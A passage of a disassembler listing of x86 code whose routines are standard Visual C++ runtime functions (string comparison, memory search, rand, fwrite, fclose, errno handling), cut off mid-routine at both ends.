byte ptr [esi+1] sub eax, edx jz short loc_40F400 xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz loc_40F4CC loc_40F400: ; CODE XREF: sub_40DED2+1517j movzx eax, byte ptr [ecx+2] movzx edx, byte ptr [esi+2] sub eax, edx jz short loc_40F421 xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz loc_40F4CC loc_40F421: ; CODE XREF: sub_40DED2+1538j movzx eax, byte ptr [ecx+3] movzx ecx, byte ptr [esi+3] loc_40F429: ; CODE XREF: sub_40DED2+15B7j ; sub_40DED2+15E2j ... sub eax, ecx jz loc_40F4CC xor ecx, ecx test eax, eax setnle cl lea ecx, [ecx+ecx-1] mov eax, ecx jmp loc_40F4CC ; --------------------------------------------------------------------------- loc_40F443: ; CODE XREF: sub_40DED2+22j mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] movzx eax, byte ptr [ecx] movzx edx, byte ptr [esi] sub eax, edx jz short loc_40F464 xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz short loc_40F4CC loc_40F464: ; CODE XREF: sub_40DED2+157Fj movzx eax, byte ptr [ecx+1] movzx edx, byte ptr [esi+1] sub eax, edx jz short loc_40F481 xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz short loc_40F4CC loc_40F481: ; CODE XREF: sub_40DED2+159Cj movzx eax, byte ptr [ecx+2] movzx ecx, byte ptr [esi+2] jmp short loc_40F429 ; --------------------------------------------------------------------------- loc_40F48B: ; CODE XREF: sub_40DED2+1Bj mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] movzx eax, byte ptr [ecx] movzx edx, byte ptr [esi] sub eax, edx jz short loc_40F4AC xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz short loc_40F4CC loc_40F4AC: ; CODE XREF: sub_40DED2+15C7j movzx eax, byte ptr [ecx+1] movzx ecx, byte ptr [esi+1] jmp loc_40F429 ; --------------------------------------------------------------------------- loc_40F4B9: ; CODE XREF: sub_40DED2+14j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] movzx eax, byte ptr [eax] movzx ecx, byte ptr [ecx] jmp loc_40F429 ; --------------------------------------------------------------------------- loc_40F4CA: ; CODE XREF: sub_40DED2+Dj xor eax, eax loc_40F4CC: ; CODE XREF: sub_40DED2+8A2j ; sub_40DED2+1507j ... pop edi pop esi pop ebp retn sub_40DED2 endp ; --------------------------------------------------------------------------- db 8Bh, 0FFh off_40F4D2 dd offset loc_40E771 ; DATA XREF: sub_40DED2+4C5r dd offset loc_40EB63 ; jump table for switch statement dd offset loc_40EF6F dd offset loc_40F390 dd offset loc_40E6F4 dd offset loc_40EAD4 dd offset loc_40EEE0 dd offset loc_40F301 dd offset loc_40E665 dd offset loc_40EA44 dd offset loc_40EE50 dd offset loc_40F272 dd offset loc_40E5D5 dd offset loc_40E9B5 dd offset loc_40EDC1 dd offset loc_40F1E2 dd offset loc_40E546 dd offset loc_40E926 dd offset loc_40ED32 dd offset loc_40F153 dd offset loc_40E4B7 dd offset loc_40E897 dd offset loc_40ECA3 dd offset loc_40F0C4 dd offset loc_40E428 dd offset loc_40E808 dd offset loc_40EC14 dd offset loc_40F035 dd offset loc_40E3A5 dd offset loc_40E779 dd offset loc_40EB85 dd offset loc_40EFA5 align 10h ; =============== S U B R O U T I N E ======================================= sub_40F560 proc near ; CODE XREF: sub_401E6B+6Bp ; sub_4094C5+55p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx test eax, eax jz short loc_40F5BB mov edx, [esp+4+arg_0] xor ebx, ebx mov bl, [esp+4+arg_4] test edx, 3 jz short loc_40F591 loc_40F57B: ; CODE XREF: sub_40F560+2Fj mov cl, [edx] add edx, 1 xor cl, bl jz short loc_40F5F6 sub eax, 1 jz short loc_40F5BB test edx, 3 jnz short loc_40F57B loc_40F591: ; CODE XREF: sub_40F560+19j sub eax, 4 jb short loc_40F5A8 push edi mov edi, ebx shl ebx, 8 add ebx, edi mov edi, ebx shl ebx, 10h add ebx, edi jmp short loc_40F5C2 ; --------------------------------------------------------------------------- loc_40F5A7: ; CODE XREF: sub_40F560+60j pop edi loc_40F5A8: ; CODE XREF: sub_40F560+34j add eax, 4 jz short loc_40F5BB loc_40F5AD: ; CODE XREF: sub_40F560+59j mov cl, [edx] add edx, 1 xor cl, bl jz short loc_40F5F6 sub eax, 1 jnz short loc_40F5AD loc_40F5BB: ; CODE XREF: sub_40F560+7j ; sub_40F560+27j ... pop ebx retn ; --------------------------------------------------------------------------- loc_40F5BD: ; CODE XREF: sub_40F560+7Bj ; sub_40F560+93j sub eax, 4 jb short loc_40F5A7 loc_40F5C2: ; CODE XREF: sub_40F560+45j mov ecx, [edx] xor ecx, ebx mov edi, 7EFEFEFFh add edi, ecx xor ecx, 0FFFFFFFFh xor ecx, edi add edx, 4 and ecx, 81010100h jz short loc_40F5BD mov ecx, [edx-4] xor cl, bl jz short loc_40F607 xor ch, bl jz short loc_40F601 shr ecx, 10h xor cl, bl jz short loc_40F5FB xor ch, bl jz short loc_40F5F5 jmp short loc_40F5BD ; --------------------------------------------------------------------------- loc_40F5F5: ; CODE XREF: sub_40F560+91j pop edi loc_40F5F6: ; CODE XREF: sub_40F560+22j ; sub_40F560+54j lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_40F5FB: ; CODE XREF: sub_40F560+8Dj lea eax, [edx-2] pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40F601: ; CODE XREF: sub_40F560+86j lea eax, [edx-3] pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40F607: ; CODE XREF: sub_40F560+82j lea eax, [edx-4] pop edi pop ebx retn sub_40F560 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F60D proc near ; CODE XREF: sub_40F6BE+12p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_40F63B call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp loc_40F6BB ; --------------------------------------------------------------------------- loc_40F63B: ; CODE XREF: sub_40F60D+Cj mov ecx, [ebp+arg_4] cmp ecx, ebx push esi mov esi, [ebp+arg_0] jz short loc_40F667 cmp esi, ebx jnz short loc_40F667 call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40F6BA ; --------------------------------------------------------------------------- loc_40F667: ; CODE XREF: sub_40F60D+37j ; sub_40F60D+3Bj mov eax, 7FFFFFFFh cmp ecx, eax mov [ebp+var_1C], eax ja short loc_40F676 mov [ebp+var_1C], ecx loc_40F676: ; CODE XREF: sub_40F60D+64j push edi push [ebp+arg_10] lea eax, [ebp+var_20] push [ebp+arg_C] mov [ebp+var_14], 42h push [ebp+arg_8] mov [ebp+var_18], esi push eax mov [ebp+var_20], esi call sub_4113BB add esp, 10h cmp esi, ebx mov edi, eax jz short loc_40F6B9 dec [ebp+var_1C] js short loc_40F6AB mov eax, [ebp+var_20] mov [eax], bl jmp short loc_40F6B7 ; --------------------------------------------------------------------------- loc_40F6AB: ; CODE XREF: sub_40F60D+95j lea eax, [ebp+var_20] push eax push ebx call sub_4111BA pop ecx pop ecx loc_40F6B7: ; CODE XREF: sub_40F60D+9Cj mov eax, edi loc_40F6B9: ; CODE XREF: sub_40F60D+90j pop edi loc_40F6BA: ; CODE XREF: sub_40F60D+58j pop esi loc_40F6BB: ; CODE XREF: sub_40F60D+29j pop ebx leave retn sub_40F60D endp ; =============== S U B R O U T I N E ======================================= sub_40F6BE proc near ; CODE XREF: sub_401989+4Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push 0 push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40F60D add esp, 14h retn sub_40F6BE endp ; =============== S U B R O U T I N E ======================================= sub_40F6D9 proc near ; CODE XREF: sub_40F6FC+40p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jl short loc_40F6EB call sub_412B34 cmp esi, [eax] jl short loc_40F6F2 loc_40F6EB: ; CODE XREF: sub_40F6D9+7j call sub_412B34 mov esi, [eax] loc_40F6F2: ; CODE XREF: sub_40F6D9+10j call sub_412B3A mov eax, [eax+esi*4] pop esi retn sub_40F6D9 endp ; =============== S U B R O U T I N E ======================================= sub_40F6FC proc near ; CODE XREF: sub_40460B+CAp ; sub_40499E+8Cp arg_0 = dword ptr 4 push ebx push esi call sub_411F7A mov esi, eax xor ebx, ebx cmp esi, ebx jnz short loc_40F712 mov eax, offset aVisualCCrtNotE ; "Visual C++ CRT: Not enough memory to co"... jmp short loc_40F760 ; --------------------------------------------------------------------------- loc_40F712: ; CODE XREF: sub_40F6FC+Dj cmp [esi+24h], ebx push edi mov edi, 86h jnz short loc_40F735 push 1 push edi call sub_412363 cmp eax, ebx pop ecx pop ecx mov [esi+24h], eax jnz short loc_40F735 mov eax, offset aVisualCCrtNotE ; "Visual C++ CRT: Not enough memory to co"... jmp short loc_40F75F ; --------------------------------------------------------------------------- loc_40F735: ; CODE XREF: sub_40F6FC+1Fj ; sub_40F6FC+30j push [esp+0Ch+arg_0] mov esi, [esi+24h] call sub_40F6D9 push eax push edi push esi call sub_410FB5 add esp, 10h test eax, eax jz short loc_40F75D push ebx push ebx push ebx push ebx push ebx call sub_40DBDC add esp, 14h loc_40F75D: ; CODE XREF: sub_40F6FC+52j mov eax, esi loc_40F75F: ; CODE XREF: sub_40F6FC+37j pop edi loc_40F760: ; CODE XREF: sub_40F6FC+14j pop esi pop ebx retn sub_40F6FC endp ; =============== S U B R O U T I N E ======================================= sub_40F763 proc near ; CODE XREF: sub_40F7C4+Dp ; sub_41112C+80p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_40F769: ; CODE XREF: sub_40F763+13j cmp eax, dword_423030[ecx*8] jz short loc_40F784 inc ecx cmp ecx, 2Dh jl short loc_40F769 lea ecx, [eax-13h] cmp ecx, 11h ja short loc_40F78C push 0Dh pop eax retn ; --------------------------------------------------------------------------- loc_40F784: ; CODE XREF: sub_40F763+Dj mov eax, dword_423034[ecx*8] retn ; --------------------------------------------------------------------------- loc_40F78C: ; CODE XREF: sub_40F763+1Bj add eax, 0FFFFFF44h push 0Eh pop ecx cmp ecx, eax sbb eax, eax and eax, ecx add eax, 8 retn sub_40F763 endp ; =============== S U B R O U T I N E ======================================= sub_40F79E proc near ; CODE XREF: sub_40460B+BAp ; sub_40460B+C1p ... call sub_411F7A test eax, eax jnz short loc_40F7AD mov eax, offset dword_423198 retn ; --------------------------------------------------------------------------- loc_40F7AD: ; CODE XREF: sub_40F79E+7j add eax, 8 retn sub_40F79E endp ; =============== S U B R O U T I N E ======================================= sub_40F7B1 proc near ; CODE XREF: sub_40F7C4+1p ; sub_41440F+40p ... call sub_411F7A test eax, eax jnz short loc_40F7C0 mov eax, offset dword_42319C retn ; --------------------------------------------------------------------------- loc_40F7C0: ; CODE XREF: sub_40F7B1+7j add eax, 0Ch retn sub_40F7B1 endp ; =============== S U B R O U T I N E ======================================= sub_40F7C4 proc near ; CODE XREF: sub_4104BF+A1p ; sub_41440F+577p ... arg_0 = dword ptr 4 push esi call sub_40F7B1 mov ecx, [esp+4+arg_0] push ecx mov [eax], ecx call sub_40F763 pop ecx mov esi, eax call sub_40F79E mov [eax], esi pop esi retn sub_40F7C4 endp ; =============== S U B R O U T I N E ======================================= sub_40F7E2 proc near ; CODE XREF: sub_40F864+Ep ; sub_40FF38+Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax push esi mov esi, ecx mov byte ptr [esi+0Ch], 0 jnz short loc_40F854 call sub_411FFD mov [esi+8], eax mov ecx, [eax+6Ch] mov [esi], ecx mov ecx, [eax+68h] mov [esi+4], ecx mov ecx, [esi] cmp ecx, off_423890 jz short loc_40F820 mov ecx, dword_4237AC test [eax+70h], ecx jnz short loc_40F820 call sub_413512 mov [esi], eax loc_40F820: ; CODE XREF: sub_40F7E2+2Aj ; sub_40F7E2+35j mov eax, [esi+4] cmp eax, dword_4236B0 jz short loc_40F841 mov eax, [esi+8] mov ecx, dword_4237AC test [eax+70h], ecx jnz short loc_40F841 call sub_412E01 mov [esi+4], eax loc_40F841: ; CODE XREF: sub_40F7E2+47j ; sub_40F7E2+55j mov eax, [esi+8] test byte ptr [eax+70h], 2 jnz short loc_40F85E or dword ptr [eax+70h], 2 mov byte ptr [esi+0Ch], 1 jmp short loc_40F85E ; --------------------------------------------------------------------------- loc_40F854: ; CODE XREF: sub_40F7E2+Dj mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax loc_40F85E: ; CODE XREF: sub_40F7E2+66j ; sub_40F7E2+70j mov eax, esi pop esi retn 4 sub_40F7E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F864 proc near ; CODE XREF: sub_40F97B+1Fp ; sub_41A2A3+9Bp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi push [ebp+arg_4] lea ecx, [ebp+var_18] call sub_40F7E2 mov ebx, [ebp+arg_0] mov esi, 100h cmp ebx, esi jnb short loc_40F8D7 mov ecx, [ebp+var_18] cmp dword ptr [ecx+0ACh], 1 jle short loc_40F8A3 lea eax, [ebp+var_18] push eax push 1 push ebx call sub_4139CC mov ecx, [ebp+var_18] add esp, 0Ch jmp short loc_40F8B0 ; --------------------------------------------------------------------------- loc_40F8A3: ; CODE XREF: sub_40F864+29j mov eax, [ecx+0C8h] movzx eax, byte ptr [eax+ebx*2] and eax, 1 loc_40F8B0: ; CODE XREF: sub_40F864+3Dj test eax, eax jz short loc_40F8C3 mov eax, [ecx+0CCh] movzx eax, byte ptr [eax+ebx] jmp loc_40F96A ; --------------------------------------------------------------------------- loc_40F8C3: ; CODE XREF: sub_40F864+4Ej ; sub_40F864+EAj cmp [ebp+var_C], 0 jz short loc_40F8D0 mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_40F8D0: ; CODE XREF: sub_40F864+63j mov eax, ebx jmp loc_40F977 ; --------------------------------------------------------------------------- loc_40F8D7: ; CODE XREF: sub_40F864+1Dj mov eax, [ebp+var_18] cmp dword ptr [eax+0ACh], 1 jle short loc_40F914 mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_413988 test eax, eax pop ecx pop ecx jz short loc_40F914 mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_4], al mov [ebp+var_3], bl mov [ebp+var_2], 0 pop ecx jmp short loc_40F929 ; --------------------------------------------------------------------------- loc_40F914: ; CODE XREF: sub_40F864+7Dj ; sub_40F864+9Cj call sub_40F79E mov dword ptr [eax], 2Ah xor ecx, ecx mov [ebp+var_4], bl mov [ebp+var_3], 0 inc ecx loc_40F929: ; CODE XREF: sub_40F864+AEj mov eax, [ebp+var_18] push 1 push dword ptr [eax+4] lea edx, [ebp+var_8] push 3 push edx push ecx lea ecx, [ebp+var_4] push ecx push esi push dword ptr [eax+14h] lea eax, [ebp+var_18] push eax call sub_413945 add esp, 24h test eax, eax jz loc_40F8C3 cmp eax, 1 jnz short loc_40F95F movzx eax, [ebp+var_8] jmp short loc_40F96A ; --------------------------------------------------------------------------- loc_40F95F: ; CODE XREF: sub_40F864+F3j movzx ecx, [ebp+var_7] xor eax, eax mov ah, [ebp+var_8] or eax, ecx loc_40F96A: ; CODE XREF: sub_40F864+5Aj ; sub_40F864+F9j cmp [ebp+var_C], 0 jz short loc_40F977 mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_40F977: ; CODE XREF: sub_40F864+6Ej ; sub_40F864+10Aj pop esi pop ebx leave retn sub_40F864 endp ; =============== S U B R O U T I N E ======================================= sub_40F97B proc near ; CODE XREF: sub_406A1C+3Cp arg_0 = dword ptr 4 cmp dword_424424, 0 jnz short loc_40F994 mov eax, [esp+arg_0] lea ecx, [eax-41h] cmp ecx, 19h ja short locret_40F9A1 add eax, 20h retn ; --------------------------------------------------------------------------- loc_40F994: ; CODE XREF: sub_40F97B+7j push 0 push [esp+4+arg_0] call sub_40F864 pop ecx pop ecx locret_40F9A1: ; CODE XREF: sub_40F97B+13j retn sub_40F97B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9A2 proc near ; CODE XREF: sub_40FA66+Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 0Ch push offset dword_41F8A0 call __SEH_prolog4 xor ebx, ebx mov [ebp+var_1C], ebx xor eax, eax mov edi, [ebp+arg_0] cmp edi, ebx setnz al cmp eax, ebx jnz short loc_40F9DD loc_40F9C1: ; CODE XREF: sub_40F9A2+47j ; sub_40F9A2+52j call sub_40F79E mov dword ptr [eax], 16h push ebx push ebx push ebx push ebx push ebx call sub_40DCD8 add esp, 14h loc_40F9D9: ; CODE XREF: sub_40F9A2+6Bj ; sub_40F9A2+92j xor eax, eax jmp short loc_40FA56 ; --------------------------------------------------------------------------- loc_40F9DD: ; CODE XREF: sub_40F9A2+1Dj xor eax, eax mov esi, [ebp+arg_4] cmp esi, ebx setnz al cmp eax, ebx jz short loc_40F9C1 xor eax, eax cmp [esi], bl setnz al cmp eax, ebx jz short loc_40F9C1 call sub_413E9F mov [ebp+arg_0], eax cmp eax, ebx jnz short loc_40FA0F call sub_40F79E mov dword ptr [eax], 18h jmp short loc_40F9D9 ; --------------------------------------------------------------------------- loc_40FA0F: ; CODE XREF: sub_40F9A2+5Ej mov [ebp+ms_exc.disabled], ebx cmp [edi], bl jnz short loc_40FA36 call sub_40F79E mov dword ptr [eax], 16h push 0FFFFFFFEh lea eax, [ebp+ms_exc.prev_er] push eax push offset dword_4231C4 call sub_413FC8 add esp, 0Ch jmp short loc_40F9D9 ; --------------------------------------------------------------------------- loc_40FA36: ; CODE XREF: sub_40F9A2+72j push eax push [ebp+arg_8] push esi push edi call sub_413BFD add esp, 10h mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40FA5C mov eax, [ebp+var_1C] loc_40FA56: ; CODE XREF: sub_40F9A2+39j call __SEH_epilog4 retn sub_40F9A2 endp ; =============== S U B R O U T I N E ======================================= sub_40FA5C proc near ; CODE XREF: sub_40F9A2+ACp ; DATA XREF: .vty:0041F8B8o push dword ptr [ebp+8] call sub_413BAB pop ecx retn sub_40FA5C endp ; =============== S U B R O U T I N E ======================================= sub_40FA66 proc near ; CODE XREF: sub_40460B+ACp ; sub_40499E+6Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_40F9A2 add esp, 0Ch retn sub_40FA66 endp ; =============== S U B R O U T I N E ======================================= sub_40FA79 proc near ; CODE XREF: sub_4080EE+5Fp ; sub_40D748+Ap arg_0 = dword ptr 4 call sub_411FFD mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_40FA79 endp ; =============== S U B R O U T I N E ======================================= sub_40FA86 proc near ; CODE XREF: sub_4027E7+1Dp ; sub_402979+6Dp ... call sub_411FFD mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_40FA86 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40FAB0 proc near ; CODE XREF: sub_40376E+15p ; sub_403A28+86p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_40FAFC loc_40FAC0: ; CODE XREF: sub_40FAB0+3Cj ; sub_40FAB0+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_40FAF4 or al, al jz short loc_40FAF0 cmp ah, [ecx+1] jnz short loc_40FAF4 or ah, ah jz short loc_40FAF0 shr eax, 10h cmp al, [ecx+2] jnz short loc_40FAF4 or al, al jz short loc_40FAF0 cmp ah, [ecx+3] jnz short loc_40FAF4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_40FAC0 mov edi, edi loc_40FAF0: ; CODE XREF: sub_40FAB0+18j ; sub_40FAB0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_40FAF4: ; CODE XREF: sub_40FAB0+14j ; sub_40FAB0+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_40FAFC: ; CODE XREF: sub_40FAB0+Ej test edx, 1 jz short loc_40FB1C mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_40FAF4 add ecx, 1 or al, al jz short loc_40FAF0 test edx, 2 jz short loc_40FAC0 loc_40FB1C: ; CODE XREF: sub_40FAB0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_40FAF4 or al, al jz short loc_40FAF0 cmp ah, [ecx+1] jnz short loc_40FAF4 or ah, ah jz short loc_40FAF0 add ecx, 2 jmp short loc_40FAC0 sub_40FAB0 endp ; =============== S U B R O U T I N E ======================================= sub_40FB38 proc near ; DATA XREF: .vty:0041EB2Co push dword_42476C call sub_411DBF test eax, eax pop ecx jz short loc_40FB4A call eax loc_40FB4A: ; CODE XREF: sub_40FB38+Ej push 19h call sub_41422C push 1 push 0 call loc_41420E add esp, 0Ch jmp sub_41411B sub_40FB38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB62 proc near ; CODE XREF: sub_40FC7C+63p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+arg_0], eax mov eax, [ebp+arg_4] imul eax, [ebp+arg_8] test eax, eax push ebx mov [ebp+var_8], eax mov ebx, eax jz loc_40FC73 push esi mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_40FB96 mov ecx, [esi+18h] mov [ebp+var_4], ecx jmp short loc_40FB9D ; --------------------------------------------------------------------------- loc_40FB96: ; CODE XREF: sub_40FB62+2Aj mov [ebp+var_4], 1000h loc_40FB9D: ; CODE XREF: sub_40FB62+32j push edi jmp short loc_40FBA3 ; --------------------------------------------------------------------------- loc_40FBA0: ; CODE XREF: sub_40FB62+106j mov eax, [ebp+var_8] loc_40FBA3: ; CODE XREF: sub_40FB62+3Cj mov ecx, [esi+0Ch] and ecx, 108h jz short loc_40FBDE mov edi, [esi+4] test edi, edi jz short loc_40FBDE jl loc_40FC76 cmp ebx, edi jnb short loc_40FBC1 mov edi, ebx loc_40FBC1: ; CODE XREF: sub_40FB62+5Bj push edi push [ebp+arg_0] push dword ptr [esi] call sub_410050 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp loc_40FC66 ; --------------------------------------------------------------------------- loc_40FBDE: ; CODE XREF: sub_40FB62+4Aj ; sub_40FB62+51j cmp ebx, [ebp+var_4] jb short loc_40FC3D test ecx, ecx jz short loc_40FBF2 push esi call sub_414ADE test eax, eax pop ecx jnz short loc_40FC31 loc_40FBF2: ; CODE XREF: sub_40FB62+83j cmp [ebp+var_4], 0 mov edi, ebx jz short loc_40FC03 xor edx, edx mov eax, ebx div [ebp+var_4] sub edi, edx loc_40FC03: ; CODE XREF: sub_40FB62+96j push edi push [ebp+arg_0] push esi call sub_414AB1 pop ecx push eax call sub_4149D5 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_40FC2D cmp eax, edi mov ecx, edi ja short loc_40FC24 mov ecx, eax loc_40FC24: ; CODE XREF: sub_40FB62+BEj add [ebp+arg_0], ecx sub ebx, ecx cmp eax, edi jnb short loc_40FC66 loc_40FC2D: ; CODE XREF: sub_40FB62+B8j or dword ptr [esi+0Ch], 20h loc_40FC31: ; CODE XREF: sub_40FB62+8Ej ; sub_40FB62+EDj mov eax, [ebp+var_8] loc_40FC34: ; CODE XREF: sub_40FB62+118j sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_40FC71 ; --------------------------------------------------------------------------- loc_40FC3D: ; CODE XREF: sub_40FB62+7Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] push esi push eax call sub_4111BA cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_40FC31 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx test eax, eax mov [ebp+var_4], eax jg short loc_40FC66 mov [ebp+var_4], 1 loc_40FC66: ; CODE XREF: sub_40FB62+77j ; sub_40FB62+C9j ... test ebx, ebx jnz loc_40FBA0 mov eax, [ebp+arg_8] loc_40FC71: ; CODE XREF: sub_40FB62+D9j pop edi pop esi loc_40FC73: ; CODE XREF: sub_40FB62+1Aj pop ebx leave retn ; --------------------------------------------------------------------------- loc_40FC76: ; CODE XREF: sub_40FB62+53j or dword ptr [esi+0Ch], 20h jmp short loc_40FC34 sub_40FB62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC7C proc near ; CODE XREF: sub_40460B+108p ; sub_40499E+127p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset dword_41F8C0 call __SEH_prolog4 mov eax, [ebp+arg_4] imul eax, [ebp+arg_8] test eax, eax jnz short loc_40FC97 loc_40FC93: ; CODE XREF: sub_40FC7C+3Dj xor eax, eax jmp short loc_40FCF9 ; --------------------------------------------------------------------------- loc_40FC97: ; CODE XREF: sub_40FC7C+15j xor eax, eax xor esi, esi cmp [ebp+arg_C], esi setnz al cmp eax, esi jnz short loc_40FCBB loc_40FCA5: ; CODE XREF: sub_40FC7C+49j call sub_40F79E mov [eax], esi push esi push esi push esi push esi push esi call sub_40DCD8 add esp, 14h jmp short loc_40FC93 ; --------------------------------------------------------------------------- loc_40FCBB: ; CODE XREF: sub_40FC7C+27j xor eax, eax cmp [ebp+arg_0], esi setnz al cmp eax, esi jz short loc_40FCA5 push [ebp+arg_C] call sub_413B59 pop ecx mov [ebp+ms_exc.disabled], esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40FB62 add esp, 10h mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40FCFF mov eax, [ebp+var_1C] loc_40FCF9: ; CODE XREF: sub_40FC7C+19j call __SEH_epilog4 retn sub_40FC7C endp ; =============== S U B R O U T I N E ======================================= sub_40FCFF proc near ; CODE XREF: sub_40FC7C+75p ; DATA XREF: .vty:0041F8D8o push dword ptr [ebp+14h] call sub_413BAB pop ecx retn sub_40FCFF endp ; =============== S U B R O U T I N E ======================================= sub_40FD09 proc near ; CODE XREF: sub_40FD7C+5Ap arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] push edi xor edi, edi or ebx, 0FFFFFFFFh cmp esi, edi jnz short loc_40FD36 call sub_40F79E push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40FD78 ; --------------------------------------------------------------------------- loc_40FD36: ; CODE XREF: sub_40FD09+Ej test byte ptr [esi+0Ch], 83h jz short loc_40FD73 push esi call sub_414ADE push esi mov ebx, eax call sub_414DC6 push esi call sub_414AB1 push eax call sub_414CF9 add esp, 10h test eax, eax jge short loc_40FD62 or ebx, 0FFFFFFFFh jmp short loc_40FD73 ; --------------------------------------------------------------------------- loc_40FD62: ; CODE XREF: sub_40FD09+52j mov eax, [esi+1Ch] cmp eax, edi jz short loc_40FD73 push eax call sub_41112C pop ecx mov [esi+1Ch], edi loc_40FD73: ; CODE XREF: sub_40FD09+31j ; sub_40FD09+57j ... mov [esi+0Ch], edi mov eax, ebx loc_40FD78: ; CODE XREF: sub_40FD09+2Bj pop edi pop esi pop ebx retn sub_40FD09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD7C proc near ; CODE XREF: sub_40460B+110p ; sub_40499E+153p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_41F8E0 call __SEH_prolog4 or [ebp+var_1C], 0FFFFFFFFh xor eax, eax mov esi, [ebp+arg_0] xor edi, edi cmp esi, edi setnz al cmp eax, edi jnz short loc_40FDB9 call sub_40F79E mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40FDC5 ; --------------------------------------------------------------------------- loc_40FDB9: ; CODE XREF: 